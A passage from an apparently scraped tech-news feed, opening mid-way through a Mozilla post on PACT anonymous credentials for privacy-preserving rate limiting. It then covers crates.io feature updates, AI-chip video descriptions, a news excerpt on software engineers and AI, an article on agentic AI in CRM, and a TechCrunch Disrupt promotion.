Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.

The Foundations

The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to.

A diagram showing the protocol flow for Privacy Pass.

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.

Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them.

Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you.

Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably.

Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 

To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour.

Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected.

Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked.

Putting it together

So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens.

Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites.

That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it.

We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 

In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

A diagram showing an overview of the PACT system

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.

Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one.

When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy.

Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor.

The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

A diagram showing the PACT Anchor Flow

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.

Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

A diagram showing the protocol flow between Anchors and Moderators

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  

Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

A diagram showing the PACT Moderator Flow

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.

In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction.

AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism.

Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.

The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.

Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.

Next Steps

We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.

We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community.

If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need.

Acknowledgements

The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele OrrĂč, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun. 

[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

]]> <![CDATA[The Rust Programming Language Blog: crates.io: development update]]> https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ Sat, 25 Jul 2026 08:37:18 +0200 đŸ’Ÿ Tools tsecurity.de Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

Source code viewer showing the "Code" tab of the serde crate

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Unmaintained warning banner on the ansi_term crate page

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

"You might not need this dependency" banner on the lazy_static crate page

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Ferris' eyes following the mouse cursor on the error page

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

  • Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

  • Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

  • New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

  • Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

  • CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

  • Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

  • Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

  • Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

]]> <![CDATA[Why PC Memory is Stuck in 1995 (Unified Memory Explained)]]> https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/ https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/ Sat, 25 Jul 2026 08:36:06 +0200 đŸŽ„ Videos tsecurity.de Author: Techquickie - Bewertung: 10104x - Views:195333

Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!

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Computer memory is officially worth more than gold, thanks to AI. So why do our CPUs and GPUs still act like selfish jerks and refuse to share it? They can and it's called Unified Memory, and in this video we’re breaking down the physical bottlenecks of traditional PC architecture and explaining how Apple - and now AMD and NVIDIA - are rewriting the rules of hardware efficiency. Special thanks to Professor Prashant Nair from UBC for lending his engineering expertise!

Leave a reply with your requests for future episodes.

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]]> <![CDATA[Google’s New Dual-TPU Chip Made The Most Advanced AI GPUs Look Like a JOKE!]]> https://tsecurity.de/de/3693239/videos/googles-new-dual-tpu-chip-made-the-most-advanced-ai-gpus-look-like-a-joke/ https://tsecurity.de/de/3693239/videos/googles-new-dual-tpu-chip-made-the-most-advanced-ai-gpus-look-like-a-joke/ Sat, 25 Jul 2026 08:36:03 +0200 đŸŽ„ Videos tsecurity.de Author: Evolving AI - Bewertung: 328x - Views:12498

Google just revealed two brand-new AI chips—and they could change the future of artificial intelligence. Instead of building one GPU to handle everything, Google introduced its 8th-generation Tensor Processing Units: TPU 8t for AI training and TPU 8i for AI inference and reasoning. The company believes future AI infrastructure needs specialized hardware rather than one general-purpose accelerator. In this video, we break down Google's new TPU architecture, including 121 exaflops of compute, superpods with up to 9,600 chips, 2 petabytes of shared memory, Virgo networking, TPUDirect, Boardfly topology, Axion CPUs, and next-generation liquid cooling. We also explain why Google optimized TPU 8i for reasoning models, AI agents, and massive inference workloads with 288GB of HBM and dramatically improved memory performance. Could Google's specialized TPU strategy become the future of AI computing? And is this the first real architectural challenge to NVIDIA's GPU dominance?

#Google #TPU #NVIDIA #AIChips #ArtificialIntelligence #GoogleCloud #Semiconductors

]]> <![CDATA[AMD's 19.6 TB/s Monster AI-Chip Just Made NVIDA's VERA RUBIN Look Like a JOKE!]]> https://tsecurity.de/de/3693234/videos/amds-196-tbs-monster-ai-chip-just-made-nvidas-vera-rubin-look-like-a-joke/ https://tsecurity.de/de/3693234/videos/amds-196-tbs-monster-ai-chip-just-made-nvidas-vera-rubin-look-like-a-joke/ Sat, 25 Jul 2026 08:35:56 +0200 đŸŽ„ Videos tsecurity.de Author: Evolving AI - Bewertung: 614x - Views:23208

AMD may have finally built a real challenger to NVIDIA’s AI empire. In this video, we break down the AMD Instinct MI400 series and the flagship MI455X AI accelerator, featuring 432GB of HBM4 memory, 19.6TB/s of memory bandwidth, up to 40 petaflops of FP4 compute, and an advanced chiplet architecture designed for next-generation AI training and inference. But AMD’s real weapon is bigger than one chip. The Helios rack-scale AI platform combines 72 MI455X GPUs with next-generation AMD EPYC “Venice” CPUs, massive HBM4 capacity, high-speed networking, ROCm software, and open technologies like UALink to challenge NVIDIA’s tightly integrated AI infrastructure. We also explore how AMD plans to compete with NVIDIA Vera Rubin, the importance of ROCm versus CUDA, and why major AI companies and cloud providers are increasingly looking for alternatives to NVIDIA. Could AMD finally turn the AI accelerator market into a real two-company war?

#AMD #NVIDIA #MI455X #AIChips #InstinctMI400 #Helios #ArtificialIntelligence

]]> <![CDATA[NVIDA's New DGX Stations Destroying The Entire AI INDUSRTY!]]> https://tsecurity.de/de/3693227/videos/nvidas-new-dgx-stations-destroying-the-entire-ai-indusrty/ https://tsecurity.de/de/3693227/videos/nvidas-new-dgx-stations-destroying-the-entire-ai-indusrty/ Sat, 25 Jul 2026 08:35:45 +0200 đŸŽ„ Videos tsecurity.de Author: Evolving AI - Bewertung: 791x - Views:22194

NVIDIA just revealed the most powerful AI workstation ever built—and it puts data center hardware on your desk. Powered by the new GB300 Grace Blackwell Ultra Superchip, the NVIDIA DGX Station combines a 72-core Grace CPU, a Blackwell Ultra GPU with 20,480 CUDA cores, 748GB of unified coherent memory, and up to 20 petaflops of AI compute. It's designed to run massive AI models locally, eliminating many of the memory limitations that force developers to rely on expensive cloud GPUs. In this video, we break down the DGX Station architecture, unified memory, NVLink C2C, HBM3e, local AI inference, trillion-parameter model claims, real-world pricing, and why NVIDIA believes desktop AI workstations are the future of artificial intelligence development. We also compare the DGX Station with DGX Spark, Apple’s Mac Studio, cloud GPU infrastructure, and explain why local AI could become the next major shift in computing.

Is NVIDIA reinventing the personal computer for the AI era?

#NVIDIA #DGXStation #Blackwell #AIWorkstation #ArtificialIntelligence #LocalAI #CUDA

]]> <![CDATA[Chasing new skills, going back to basics and pushing for collective action: how software engineers are adapting to AI]]> https://tsecurity.de/de/3693125/it-nachrichten/chasing-new-skills-going-back-to-basics-and-pushing-for-collective-action-how-software-engineers-are-adapting-to-ai/ https://tsecurity.de/de/3693125/it-nachrichten/chasing-new-skills-going-back-to-basics-and-pushing-for-collective-action-how-software-engineers-are-adapting-to-ai/ Sat, 25 Jul 2026 07:03:26 +0200 📰 IT Nachrichten tsecurity.de Software engineering was one of the best-paying professions in the US in 2022, but the advent of AI has disrupted it, leading to several layoffs and underemployment

Every weekday, Matt, a software engineer, looks forward to his four-hour train commute to Pawling, New York. It’s time he uses to work on his own project: a browser-based video game for which he writes every line of code himself.

“I am actively trying to keep my axe sharp,” said Matt, who did not want to use his actual name, to protect his employment. In the last six months, Matt’s job has increasingly shifted away from coding, problem solving and software architecture towards reviewing code generated by artificial intelligence. Convinced that the shift will weaken his skills, he’s doing what he can to keep them intact. “I am trying not to leverage AI where I can.”

Continue reading...]]> <![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]> https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/ https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/ Sat, 25 Jul 2026 06:53:15 +0200 📰 IT Nachrichten tsecurity.de

Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.

“Last year, everybody was dipping their toes into the water,” says Keith Kirkpatrick, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”

Harry Datwani, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”

“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.

“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst Kate Leggett, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.

Here are the hot AI-driven trends in CRM this year.

CRM becomes an action hero

CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.

“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst Neil Ward-Dutton. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”

Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.

She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.

Agentic drives workforce changes

AI use in CRM systems is also impacting workforce strategies.

“We used to hire for deep expertise,” says Constellation Research analyst Liz Miller. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”

Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.

For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.

Terence Chesire, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”

“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.

Data layer takes center stage

AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.

“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”

The good news, says Datwani, is that AI agents themselves can help clean up and organize data. And vendors such as Snowflake and Databricks, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.

Forrester’s Leggett adds that CRM platforms are converging with customer data platforms (CDPs), real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.

Agentic ushers in pricing complexity

The shift from license- or subscription-based pricing to an outcome or consumption pricing model has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a new level of complexity when it comes to budgeting for CRM costs.

For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.

Meanwhile, Salesforce has rolled out pay-per-resolution pricing with its recently unveiled AI Help Agent and last month acquired usage-based billing specialist m3ter. Oracle is also piloting outcome-based AI pricing.

All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.

The rise of multi-agent orchestration

To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.

He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.

Kirkpatrick predicts that a new class of orchestration tools will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.

Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”

The interface becomes conversational

Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.

ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.

On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.

Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.

Agentic drives business process transformation

With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”

“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”

According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.

“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.

]]> <![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]> https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/ https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/ Sat, 25 Jul 2026 05:51:14 +0200 📰 IT Nachrichten tsecurity.de

For CIOs, learning from the startup ecosystem has never been more critical.

As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.

So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by registering for TechCrunch Disrupt 2026?

Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.

Get 10% off your TechCrunch Disrupt pass with the exclusive code CIO10. 

This year’s TechCrunch Disrupt, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.

Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.

And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.

That’s not to mention TechCrunch Disrupt’s signature Startup Battlefield, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.

